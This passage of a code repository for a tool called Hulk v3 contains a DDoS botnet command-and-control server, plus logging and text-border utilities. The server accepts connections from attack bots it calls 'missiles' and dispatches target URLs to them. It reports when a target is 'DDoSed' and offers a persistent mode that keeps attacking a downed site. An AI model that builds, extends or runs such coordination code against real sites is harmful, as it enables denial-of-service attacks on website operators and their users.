List[socket.socket] = [] 70 | self.message_queues: Dict[socket.socket, queue.Queue] = {} 71 | self.on_standby: List[socket.socket] = [] 72 | self.address_cache: Dict[socket.socket, Tuple[str, int]] = {} 73 | self.completed: bool = False 74 | self._client_pattern: re.Pattern = re.compile(r'<(.+?)>') 75 | 76 | def _get_socket(self) -> socket.socket: 77 | """ 78 | Creates a socket server and binds it to the port. 79 | :return: The socket server. 80 | :rtype: socket.socket 81 | """ 82 | server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 83 | server_socket.setblocking(0) 84 | server_socket.bind(('', self.port)) 85 | server_socket.listen(self.max_missiles) 86 | return server_socket 87 | 88 | def launch(self): 89 | """ 90 | Launches the Hulk Server. 91 | """ 92 | try: 93 | while self.inputs: 94 | readable, writable, exceptional = select.select( 95 | self.inputs, self.outputs, self.inputs 96 | ) 97 | self._handle_readables(readable) 98 | self._handle_writables(writable) 99 | self._handle_exceptionals(exceptional) 100 | except KeyboardInterrupt: 101 | self.target = self._get_new_target() 102 | self.launch() 103 | 104 | def _get_new_target(self): 105 | """ 106 | Gets a new target from the user. 107 | 108 | :return: The new target. 109 | :rtype: str 110 | """ 111 | target = input("Enter the next url (or 'quit' to exit):\n") 112 | if target.lower() in { 113 | "q", "quit", "exit" 114 | }: 115 | self.inputs = [] 116 | self.outputs = [] 117 | self.message_queues = {} 118 | self.server.close() 119 | return None 120 | self.completed = False 121 | return target 122 | 123 | def _handle_readables(self, readable: List[socket.socket]): 124 | """ 125 | Handles the readable sockets. 126 | :param readable: The list of readable sockets. 127 | :type readable: List[socket.socket] 128 | """ 129 | for elem in readable: 130 | if elem is self.server: 131 | self._accept_connections(elem) 132 | else: 133 | try: 134 | self._command(elem) 135 | except Exception as exp: # pylint: disable=broad-except 136 | if isinstance(exp, (ConnectionAbortedError, socket.error)): 137 | hostname, port = self.address_cache.pop(elem) 138 | error_msg = str(ErrorMessages.CONNECTION_ABORTED) 139 | LOGGER.error( 140 | 'Connection Error <%s> by [%s:%d]', 141 | error_msg, hostname, port 142 | ) 143 | else: 144 | LOGGER.error(exp) 145 | if elem in self.outputs: 146 | self.outputs.remove(elem) 147 | self.inputs.remove(elem) 148 | self.message_queues.pop(elem, None) 149 | 150 | def _accept_connections(self, server_elem: socket.socket): 151 | """ 152 | Accepts connections from the server. 153 | :param server_elem: The server socket. 154 | :type server_elem: socket.socket 155 | """ 156 | connection, addr = server_elem.accept() 157 | ip_addr, port = addr 158 | hostname = socket.gethostbyaddr(ip_addr)[0] 159 | LOGGER.info( 160 | "Established connection with Missile [%s:%d]", 161 | hostname, port 162 | ) 163 | connection.setblocking(0) 164 | self.inputs.append(connection) 165 | self.message_queues[connection] = queue.Queue() 166 | self.address_cache[connection] = (hostname, port) 167 | 168 | def _command(self, bot: socket.socket): 169 | """ 170 | Command the connected bot. 171 | 172 | :param bot: The bot which connected to the server. 173 | :type bot: socket.socket 174 | """ 175 | message = bot.recv(1024).decode() 176 | commands = self._client_pattern.findall(message) 177 | if not commands: 178 | return 179 | for cmd in commands: 180 | self._handle_command(bot, cmd) 181 | 182 | def _handle_command(self, bot: socket.socket, data: str): 183 | ip_addr, port = bot.getpeername() 184 | hostname = socket.gethostbyaddr(ip_addr)[0] 185 | if int(data) in { 186 | cmd.value 187 | for cmd in ClientCommands 188 | }: 189 | msg_type = "Data" 190 | data_name = str(ClientCommands(int(data))) 191 | else: 192 | msg_type = "Status" 193 | data_name = str(StatusCodes(int(data))) 194 | LOGGER.incoming( 195 | "Received %s <%s> from [%s:%d]", 196 | msg_type, data_name, hostname, port 197 | ) 198 | if ( 199 | int(data) == ClientCommands.STANDBY 200 | and bot not in self.on_standby 201 | ): 202 | self.on_standby.append(bot) 203 | # First element in inputs is the server. So we reduce length by 1. 204 | if len(self.on_standby) >= (len(self.inputs) - 1): 205 | self._fresh_start() 206 | elif self.completed: 207 | self._stop_all_bots(terminate=(not self.persistent)) 208 | # Bot finished attacks. 209 | elif int(data) not in { 210 | cmd.value 211 | for cmd in ClientCommands 212 | }: 213 | self._on_status_received(bot, data) 214 | elif int(data) == ClientCommands.KILLED: 215 | LOGGER.info( 216 | "Disconnected from [%s:%d]", 217 | hostname, port 218 | ) 219 | del self.message_queues[bot] 220 | if bot in self.outputs: 221 | self.outputs.remove(bot) 222 | if bot in self.inputs: 223 | self.inputs.remove(bot) 224 | bot.close() 225 | return 226 | elif int(data) != ClientCommands.READ_STATUS and self.target: 227 | self.message_queues[bot].put(str(ServerCommands.READ_TARGET)) 228 | self.message_queues[bot].put(self.target) 229 | if bot not in self.outputs: 230 | self.outputs.append(bot) 231 | 232 | def _fresh_start(self): 233 | """ 234 | Starts a new attack. 235 | """ 236 | self.target = self._get_new_target() 237 | for bot_ in self.on_standby: 238 | if bot_ not in self.outputs: 239 | self.outputs.append(bot_) 240 | if bot_ not in self.inputs: 241 | self.inputs.append(bot_) 242 | if bot_ not in self.message_queues: 243 | self.message_queues[bot_] = queue.Queue() 244 | self.message_queues[bot_].put(str(ServerCommands.READ_TARGET)) 245 | self.message_queues[bot_].put(self.target) 246 | self.on_standby = [] 247 | 248 | def _on_status_received(self, bot: socket.socket, data: str): 249 | """ 250 | Called when the status of the bot is received. 251 | 252 | :param bot: The bot which sent the status. 253 | :type bot: socket.socket 254 | :param data: The status message. 255 | :type data: str 256 | """ 257 | status = int(data) 258 | if status >= StatusCodes.PWNED: 259 | self.completed = True 260 | LOGGER.success( 261 | "Succesfully DDoSed %s", self.target 262 | ) 263 | if not self.persistent: 264 | self._stop_all_bots() 265 | else: 266 | # Keep attacking the target to keep it down. 267 | self.message_queues[bot].put(str(ServerCommands.READ_TARGET)) 268 | self.message_queues[bot].put(self.target) 269 | elif status == StatusCodes.ANTI_DDOS: 270 | LOGGER.error( 271 | "The entered URL has DDoS protection, please retry." 272 | ) 273 | self._stop_all_bots() 274 | elif status == StatusCodes.NOT_FOUND: 275 | LOGGER.error( 276 | "The entered URL is invalid, please retry." 277 | ) 278 | self._stop_all_bots() 279 | elif status in {StatusCodes.FORBIDDEN, StatusCodes.CONNECTION_FAILURE}: 280 | LOGGER.error( 281 | "The entered URL is not accessible, please retry." 282 | ) 283 | self._stop_all_bots() 284 | else: 285 | self.message_queues[bot].put(str(ServerCommands.READ_TARGET)) 286 | self.message_queues[bot].put(self.target) 287 | 288 | def _stop_all_bots(self, terminate: bool = False): 289 | """ 290 | Stops all the bots and cleanup queues. 291 | 292 | :param terminate: Whether to terminate the bots. 293 | :type terminate: bool 294 | """ 295 | for bot, que in self.message_queues.items(): 296 | with que.mutex: 297 | que.queue.clear() 298 | if bot not in self.on_standby: 299 | que.put(str( 300 | ServerCommands.TERMINATE if terminate 301 | else ServerCommands.STOP 302 | )) 303 | self.target = None 304 | 305 | def _handle_writables(self, writable: List[socket.socket]): 306 | """ 307 | Handles the writable sockets. 308 | :param writable: The list of writable sockets. 309 | :type writable: List[socket.socket] 310 | """ 311 | for elem in writable: 312 | try: 313 | ip_addr, port = elem.getpeername() 314 | hostname = socket.gethostbyaddr(ip_addr)[0] 315 | if elem not in self.message_queues: 316 | continue 317 | next_msg = self.message_queues[elem].get_nowait() 318 | except queue.Empty: 319 | if elem in self.outputs: 320 | self.outputs.remove(elem) 321 | else: 322 | if next_msg is None: 323 | continue 324 | try: 325 | elem.sendall(next_msg.encode()) 326 | msg_type = ( 327 | "Target" 328 | if next_msg == self.target 329 | else "Command" 330 | ) 331 | LOGGER.outgoing( 332 | "Sending %s <%s> to [%s:%d]", 333 | msg_type, next_msg, hostname, port 334 | ) 335 | except ( 336 | ConnectionAbortedError, 337 | ConnectionRefusedError, 338 | ConnectionResetError, 339 | socket.error 340 | ) as exp: 341 | error_msg = exp 342 | if isinstance(exp, ConnectionRefusedError): 343 | error_msg = ErrorMessages.CONNECTION_REFUSED 344 | elif isinstance(exp, ConnectionResetError): 345 | error_msg = ErrorMessages.CONNECTION_RESET 346 | elif isinstance( 347 | exp, 348 | (ConnectionAbortedError, socket.error) 349 | ): 350 | error_msg = ErrorMessages.CONNECTION_ABORTED 351 | LOGGER.error( 352 | 'Connection Error <%s> by [%s:%d]', 353 | error_msg, hostname, port 354 | ) 355 | self.inputs.remove(elem) 356 | self.message_queues.pop(elem, None) 357 | self.outputs.remove(elem) 358 | except Exception as exp: # pylint: disable=broad-except 359 | LOGGER.error( 360 | 'Unknown Error %s by [%s:%d]', 361 | exp, hostname, port 362 | ) 363 | self.outputs.remove(elem) 364 | 365 | def _handle_exceptionals(self, exceptional: List[socket.socket]): 366 | """ 367 | Handles the exceptional sockets. 368 | :param exceptional: The list of exceptional sockets. 369 | :type exceptional: List[socket.socket] 370 | """ 371 | for elem in exceptional: 372 | self.inputs.remove(elem) 373 | if elem in self.outputs: 374 | self.outputs.remove(elem) 375 | elem.close() 376 | self.message_queues.pop(elem, None) 377 | 378 | 379 | def modify_parser(parser: argparse.ArgumentParser): 380 | """ 381 | Useful for exposing the parser modification to external modules. 382 | 383 | :param parser: The parser to modify. 384 | :type parser: argparse.ArgumentParser 385 | """ 386 | def valid_url(arg: argparse.Action): 387 | """ 388 | Checks if the URL is valid. 389 | :param arg: The URL to check. 390 | :type arg: argparse.Action 391 | :return: The URL if valid, else None. 392 | :rtype: argparse.Action 393 | """ 394 | result = urlparse(arg) 395 | if not all([ 396 | result.scheme and result.scheme in {'http', 'https'}, 397 | result.path or result.netloc 398 | ]): 399 | raise argparse.ArgumentTypeError( 400 | "The entered URL is invalid.\n" 401 | "Valid Formats: https://www.example.com " 402 | "or http://www.example.com" 403 | ) 404 | return arg 405 | 406 | parser.add_argument( 407 | "target", 408 | help="The target url.", 409 | type=valid_url 410 | ) 411 | parser.add_argument( 412 | "-p", "--port", 413 | help="The port to bind the server to.", 414 | type=int, 415 | default=6666 416 | ) 417 | parser.add_argument( 418 | "-m", '--max_missiles', 419 | help="The maximum number of missiles to connect to.", 420 | type=int, 421 | default=100 422 | ) 423 | parser.add_argument( 424 | "--persistent", 425 | help="Continue attacks after target is down.", 426 | action="store_false" 427 | ) 428 | parser.add_argument( 429 | '--gui', 430 | help="Run with GUI.", 431 | action="store_true" 432 | ) 433 | 434 | 435 | if __name__ == "__main__": 436 | argparser = argparse.ArgumentParser(description="Hulk Server") 437 | modify_parser(argparser) 438 | args = argparser.parse_args() 439 | 440 | if args.gui: 441 | if platform.system() == "Windows": 442 | LOGGER.addHandler(WinNamedPipeHandler(wait_for_pipe=True)) 443 | else: 444 | LOGGER.addHandler(UnixNamedPipeHandler(wait_for_pipe=True)) 445 | 446 | # pylint: disable=duplicate-code 447 | LOGGER.success("Hulk Server is Live!") 448 | server = HulkServer( 449 | args.target, args.port, 450 | args.persistent, 451 | args.max_missiles 452 | ) 453 | server.launch() 454 | -------------------------------------------------------------------------------- /server/logger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Hulk v3 5 | 6 | Collection of Utitlity functions. 7 | """ 8 | 9 | # pylint: disable=duplicate-code, no-member 10 | from collections import deque 11 | import contextlib 12 | import logging 13 | import os 14 | import platform 15 | import re 16 | import socket 17 | import sys 18 | import time 19 | from typing import List, Optional 20 | import unicodedata 21 | 22 | import chalk 23 | 24 | if platform.system() == 'Windows': 25 | import pywintypes 26 | from win32 import win32file 27 | 28 | 29 | def bordered( 30 | text: str, 31 | unicode_list: Optional[List[str]] = None, 32 | num_internal_colors: Optional[int] = 0 33 | ) -> str: 34 | """ 35 | Returns a string with a border around the text. 36 | :param text: The text to be bordered. 37 | :type text: str 38 | :param unicode_list: The list of unicode characters in the string. 39 | :type unicode_list: Optional[List[str]] 40 | :param num_internal_colors: The number of internal colors. 41 | :type num_internal_colors: Optional[int] 42 | :return: The bordered text. 43 | :rtype: str 44 | """ 45 | def unicode_padding(line_: str) -> int: 46 | pad_count = 0 47 | for char in unicode_list: 48 | if char in line_: 49 | pad_count += int( 50 | unicodedata.east_asian_width(char) == 'N' 51 | ) * 2 52 | return pad_count 53 | 54 | sentences = trim_lines(text).splitlines() 55 | hor = max(len(line) for line in sentences) + 2 56 | pad = [ 57 | '┌' + ('─' * 4) 58 | + ('┬' if len(unicode_list) > 0 else '') 59 | + ('─' * ( 60 | hor + len(unicode_list) - 5 - (num_internal_colors * 8) 61 | )) + '┐' 62 | ] 63 | pad.extend( 64 | '│ ' + (line + ' ' * hor)[ 65 | :hor - 1 66 | + num_internal_colors 67 | + unicode_padding(line) 68 | ] + '│' 69 | for line in sentences 70 | ) 71 | pad.append( 72 | '└' + ('─' * 4) 73 | + ('┴' if len(unicode_list) > 0 else '') 74 | + ('─' * ( 75 | hor + len(unicode_list) - 5 - (num_internal_colors * 8) 76 | )) + '┘' 77 | ) 78 | return '\n'.join(pad) 79 | 80 | 81 | def trim_lines(text: str) -> str: 82 | """ 83 | Trims the lines of the text. 84 | :param text: The text to be trimmed. 85 | :type text: str 86 | :return: The trimmed text. 87 | :rtype: str 88 | """ 89 | return '\n'.join( 90 | line.strip() 91 | for line in text.splitlines() 92 | ) 93 | 94 | 95 | def colorize_brackets(text: str) -> str: 96 | """ 97 | Colorizes the text present inside brackets. 98 | :param text: The text to be colorized. 99 | :type text: str 100 | :return: The colorized text. 101 | :rtype: str 102 | """ 103 | def get_color(match: re.Match): 104 | """ 105 | Returns the color for the given match. 106 | :param match: The match to be colorized. 107 | :type match: re.Match 108 | :return: The color for the given match. 109 | :rtype: str 110 | """ 111 | if match[1] == 'StatusCodes.NO_LUCK': 112 | color = 'red' 113 | elif match[1] == 'StatusCodes.PWNED': 114 | color = 'green' 115 | elif match[1] in { 116 | 'StatusCodes.ANTI_DDOS', 117 | 'StatusCodes.CONNECTIO_FAILURE' 118 | }: 119 | color = 'yellow' 120 | else: 121 | color = 'blue' 122 | return getattr(chalk, color)(f"<{match[1]}>") 123 | 124 | return re.sub( 125 | r'<([^>]*?)>', 126 | get_color, 127 | text 128 | ) 129 | 130 | 131 | class WinNamedPipeHandler(logging.StreamHandler): 132 | """ 133 | Handler for sending data to Windows Named Pipes. 134 | 135 | :param pipe_name: The name of the pipe. 136 | :type pipe_name: Optional[str] 137 | :param wait_for_pipe: Whether to wait for the pipe to be created. 138 | :type wait_for_pipe: Optional[bool] 139 | """ 140 | def __init__( 141 | self, *args, 142 | pipe_name: Optional[str] = "HULK", 143 | wait_for_pipe: Optional[bool] = False, 144 | **kwargs 145 | ): 146 | super().__init__(*args, **kwargs) 147 | self.pipe_name = pipe_name 148 | self.message_queue = deque() 149 | self.pipe = None 150 | if wait_for_pipe: 151 | while not self.pipe: 152 | self.connect() 153 | if not self.pipe: 154 | time.sleep(0.1) 155 | sys.stdout.buffer.write( 156 | ( 157 | chalk.green( 158 | bordered( 159 | "✅ | Connected to GUI PIPE.", 160 | unicode_list=['✅'] 161 | ) 162 | ) + '\n\n' 163 | ).encode() 164 | ) 165 | sys.stdout.buffer.flush() 166 | 167 | def __enter__(self): 168 | """ 169 | Context manager entry for Named Pipe. 170 | """ 171 | return self 172 | 173 | def __exit__(self, *_, **__): 174 | """ 175 | Context manager exit for Named Pipe. 176 | Closes the named pipe. 177 | """ 178 | self.close_pipe() 179 | 180 | def connect(self): 181 | """ 182 | Connects to the named pipe. 183 | """ 184 | try: 185 | pipe_name = fr'\\.\pipe\{self.pipe_name}' 186 | self.pipe = win32file.CreateFile( 187 | pipe_name, 188 | win32file.GENERIC_WRITE, 189 | 0, 190 | None, 191 | win32file.OPEN_EXISTING, 192 | ( 193 | win32file.FILE_ATTRIBUTE_NORMAL 194 | | win32file.FILE_FLAG_NO_BUFFERING 195 | ), 196 | None 197 | ) 198 | except pywintypes.error: 199 | self.pipe = None 200 | 201 | def send(self, data: str): 202 | """ 203 | Sends data to the named pipe. 204 | :param data: The data to be sent. 205 | :type data: str 206 | """ 207 | if self.pipe: 208 | self.flush() 209 | self._send(data) 210 | else: 211 | self.message_queue.append(data) 212 | self.connect() 213 | if self.pipe: 214 | self.flush() 215 | self._send(data) 216 | 217 | def flush(self): 218 | """ 219 | Flushes the message queue. 220 | """ 221 | while self.message_queue: 222 | self._send(self.message_queue.popleft()) 223 | 224 | def emit(self, record: logging.LogRecord): 225 | """ 226 | Emits the record to the named pipe. 227 | :param record: The record to be emitted. 228 | :type record: logging.LogRecord 229 | """ 230 | self.send(record.message) 231 | 232 | def close_pipe(self): 233 | """ 234 | Closes the named pipe. 235 | """ 236 | with contextlib.suppress(pywintypes.error): 237 | win32file.CloseHandle(self.pipe) 238 | 239 | def _send(self, data: str): 240 | if self.pipe is None: 241 | return 242 | try: 243 | win32file.WriteFile(self.pipe, f"|{data}|".encode()) 244 | except pywintypes.error: 245 | self.close_pipe() 246 | self.pipe = None 247 | 248 | 249 | class UnixNamedPipeHandler(logging.StreamHandler): 250 | """ 251 | Handler for sending data to Unix Named Pipes. 252 | 253 | :param pipe_name: The name of the pipe. 254 | :type pipe_name: Optional[str] 255 | :param wait_for_pipe: Whether to wait for the pipe to be created. 256 | :type wait_for_pipe: Optional[bool] 257 | """ 258 | def __init__( 259 | self, *args, 260 | pipe_name: Optional[str] = "HULK", 261 | wait_for_pipe: Optional[bool] = False, 262 | **kwargs 263 | ): 264 | super().__init__(*args, **kwargs) 265 | self.pipe_name = pipe_name 266 | self.message_queue = deque() 267 | self.pipe: socket.socket = None 268 | if wait_for_pipe: 269 | while not self.pipe: 270 | self.connect() 271 | if not self.pipe: 272 | time.sleep(0.1) 273 | sys.stdout.buffer.write( 274 | ( 275 | chalk.green( 276 | bordered( 277 | "✅ | Connected to GUI PIPE.", 278 | unicode_list=['✅'] 279 | ) 280 | ) + '\n\n' 281 | ).encode() 282 | ) 283 | sys.stdout.buffer.flush() 284 | 285 | def __enter__(self): 286 | """ 287 | Context manager entry for Named Pipe. 288 | """ 289 | return self 290 | 291 | def __exit__(self, *_, **__): 292 | """ 293 | Context manager exit for Named Pipe. 294 | Closes the named pipe. 295 | """ 296 | self.close_pipe() 297 | 298 | def connect(self): 299 | """ 300 | Connects to the named pipe. 301 | """ 302 | try: 303 | sock = socket.socket( 304 | socket.AF_UNIX, 305 | socket.SOCK_STREAM 306 | ) 307 | sock.connect(f'/tmp/{self.pipe_name}') 308 | self.pipe = sock 309 | except OSError: 310 | sock.close() 311 | self.pipe = None 312 | 313 | def flush(self): 314 | """ 315 | Flushes the message queue. 316 | """ 317 | while self.message_queue: 318 | self.pipe.sendall( 319 | f"|{self.message_queue.popleft()}|".encode() 320 | ) 321 | 322 | def send(self, data: str): 323 | """ 324 | Sends data to the named pipe. 325 | :param data: The data to be sent. 326 | :type data: str 327 | """ 328 | if self.pipe: 329 | self.flush() 330 | self.pipe.sendall(f"|{data}|".encode()) 331 | else: 332 | self.message_queue.append(data) 333 | self.connect() 334 | if self.pipe: 335 | self.flush() 336 | os.write(self.pipe, f"|{data}|".encode()) 337 | 338 | def emit(self, record: logging.LogRecord): 339 | """ 340 | Emits the record to the named pipe. 341 | :param record: The record to be emitted. 342 | :type record: logging.LogRecord 343 | """ 344 | self.send(record.message) 345 | 346 | def close_pipe(self): 347 | """ 348 | Closes the named pipe. 349 | """ 350 | if self.pipe is not None: 351 | with contextlib.suppress(OSError): 352 | self.pipe.close() 353 | 354 | 355 | class StdoutHandler(logging.StreamHandler): 356 | """ 357 | Logging handler for stdout. 358 | """ 359 | 360 | def __init__(self, *args, **kwargs): 361 | super().__init__(sys.stdout, *args, **kwargs) 362 | 363 | @staticmethod 364 | def info(text: str) -> str: 365 | """Returns a info message in a pretty format. 366 | 367 | :param text: The message to be printed. 368 | :type text: str 369 | :return: The message in a pretty format. 370 | :rtype: str 371 | """ 372 | return chalk.blue( 373 | bordered(f"⚪ | {text}", unicode_list=['⚪']) 374 | ) 375 | 376 | @staticmethod 377 | def warning(text: str): 378 | """Returns a warning message in a pretty format. 379 | 380 | :param text: The message to be printed. 381 | :type text: str 382 | :return: The warning in a pretty format. 383 | :rtype: str 384 | """ 385 | return chalk.yellow( 386 | bordered( 387 | f"⚠️ | {text}", 388 | unicode_list=[unicodedata.lookup('WARNING SIGN')] 389 | ) 390 | ) 391 | 392 | @staticmethod 393 | def error(text: str) -> str: 394 | """Returns an error message in a pretty format. 395 | 396 | :param text: The message to be printed. 397 | :type text: str 398 | :return: The error in a pretty format. 399 | :rtype: str 400 | """ 401 | return chalk.red( 402 | bordered(f"❌ | {text}", unicode_list=['❌']) 403 | ) 404 | 405 | @staticmethod 406 | def success(text: str) -> str: 407 | """Returns a success message in a pretty format. 408 | 409 | :param text: The message to be printed. 410 | :type text: str 411 | :return: The success message in a pretty format. 412 | :rtype: str 413 | """ 414 | return chalk.green( 415 | bordered(f"✅ | {text}", unicode_list=['✅']) 416 | ) 417 | 418 | @staticmethod 419 | def incoming(text: str) -> str: 420 | """Returns an incoming message in a pretty format. 421 | 422 | :param text: The message to be printed. 423 | :type text: str 424 | :return: The incoming message in a pretty format. 425 | :rtype: str 426 | """ 427 | modded_text = text 428 | matches = [] 429 | if matches := re.findall(r'\[.*?\]', modded_text): 430 | modded_text = colorize_brackets(modded_text) 431 | return bordered( 432 | f"🔻 | {modded_text}", 433 | unicode_list=['🔻'], 434 | num_internal_colors=len(matches) 435 | ) 436 | 437 | @staticmethod 438 | def outgoing(text: str) -> str: 439 | """Returns an outgoing message in a pretty format. 440 | 441 | :param text: The message to be printed. 442 | :type text: str 443 | :return: The outgoing message in a pretty format. 444 | :rtype: str 445 | """ 446 | modded_text = text 447 | matches = [] 448 | if matches := re.findall(r'<([^>]*?)>', modded_text): 449 | modded_text = colorize_brackets(modded_text) 450 | return bordered( 451 | f"🔼 | {modded_text}", 452 | unicode_list=['🔼'], 453 | num_internal_colors=len(matches) 454 | ) 455 | 456 | def emit(self, record: logging.LogRecord): 457 | msg = self.format(record) 458 | if record.funcName == 'success': 459 | msg = self.success(msg) 460 | elif record.funcName == 'incoming': 461 | msg = self.incoming(msg) 462 | elif record.funcName == 'outgoing': 463 | msg = self.outgoing(msg) 464 | elif record.levelno == logging.INFO: 465 | msg = self.info(msg) 466 | elif record.levelno == logging.WARNING: 467 | msg = self.warning(msg) 468 | elif record.levelno == logging.ERROR: 469 | msg = self.error(msg) 470 | stream = self.stream 471 | # issue 35046: merged two stream.writes into one. 472 | stream.write(msg + self.terminator) 473 | self.flush() 474 | 475 | 476 | class CustomLoggerClass(logging.Logger): 477 | """ 478 | Extending the Logger class to add Succes, Incoming and Outgoing methods. 479 | """ 480 | 481 | def success(self, text: str, *args, **kwargs): 482 | """Prints a success message in a pretty format. 483 | 484 | :param text: The message to be printed. 485 | :type text: str 486 | """ 487 | self.info(text, *args, **kwargs) 488 | 489 | def incoming(self, text: str, *args, **kwargs): 490 | """Prints an incoming message in a pretty format. 491 | 492 | :param text: The message to be printed. 493 | :type text: str 494 | """ 495 | self.info(text, *args, **kwargs) 496 | 497 | def outgoing(self, text: str, *args, **kwargs): 498 | """Prints an outgoing message in a pretty format. 499 | 500 | :param text: The message to be printed. 501 | :type text: str 502 | """ 503 | self.info(text, *args, **kwargs) 504 | 505 | 506 | logging.setLoggerClass(CustomLoggerClass) 507 | 508 | 509 | LOGGER: CustomLoggerClass = logging.getLogger("Hulk_Server") 510 | LOGGER.setLevel(logging.INFO) 511 | LOGGER.addHandler(StdoutHandler()) 512 | 513 | 514 | if __name__ == '__main__': 515 | LOGGER.addHandler(WinNamedPipeHandler()) 516 | inp = input('> ') 517 | for word in inp.split(', '): 518 | LOGGER.info(word) 519 | -------------------------------------------------------------------------------- /utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Hulk v3 5 | 6 | Collection of Utitlity functions. 7 | """ 8 | 9 | 10 | from typing import Optional 11 | 12 | 13 | def bordered( 14 | text: str, 15 | num_internal_colors: Optional[int] = 0 16 | ) -> str: 17 | """ 18 | Returns a string with a border around the text. 19 | :param text: The text to be bordered. 20 | :type text: str 21 | :param num_internal_colors: The number of internal colors. 22 | :type num_internal_colors: Optional[int] 23 | :return: The bordered text. 24 | :rtype: str 25 | """ 26 | sentences = trim_lines(text).splitlines() 27 | hor = max(len(line) for line in sentences) + 2 28 | pad = [ 29 | '┌' + ('─' * 4) 30 | + ('─' * ( 31 | hor - 5 - (num_internal_colors * 8) 32 | )) + '┐' 33 | ] 34 | pad.extend( 35 | '│ ' + (line + ' ' * hor)[ 36 | :hor - 2 37 | + num_internal_colors 38 | ] + '│' 39 | for line in sentences 40 | ) 41 | pad.append( 42 | '└' + ('─' * 4) 43 | + ('─' * ( 44 | hor - 5 - (num_internal_colors * 8) 45 | )) + '┘' 46 | ) 47 | return '\n'.join(pad) 48 | 49 | 50 | def trim_lines(text: str) -> str: 51 | """ 52 | Trims the lines of the text. 53 | :param text: The text to be trimmed. 54 | :type text: str 55 | :return: The trimmed text. 56 | :rtype: str 57 | """ 58 | return '\n'.join( 59 | line.strip() 60 | for line in text.splitlines() 61 | ) 62 | --------------------------------------------------------------------------------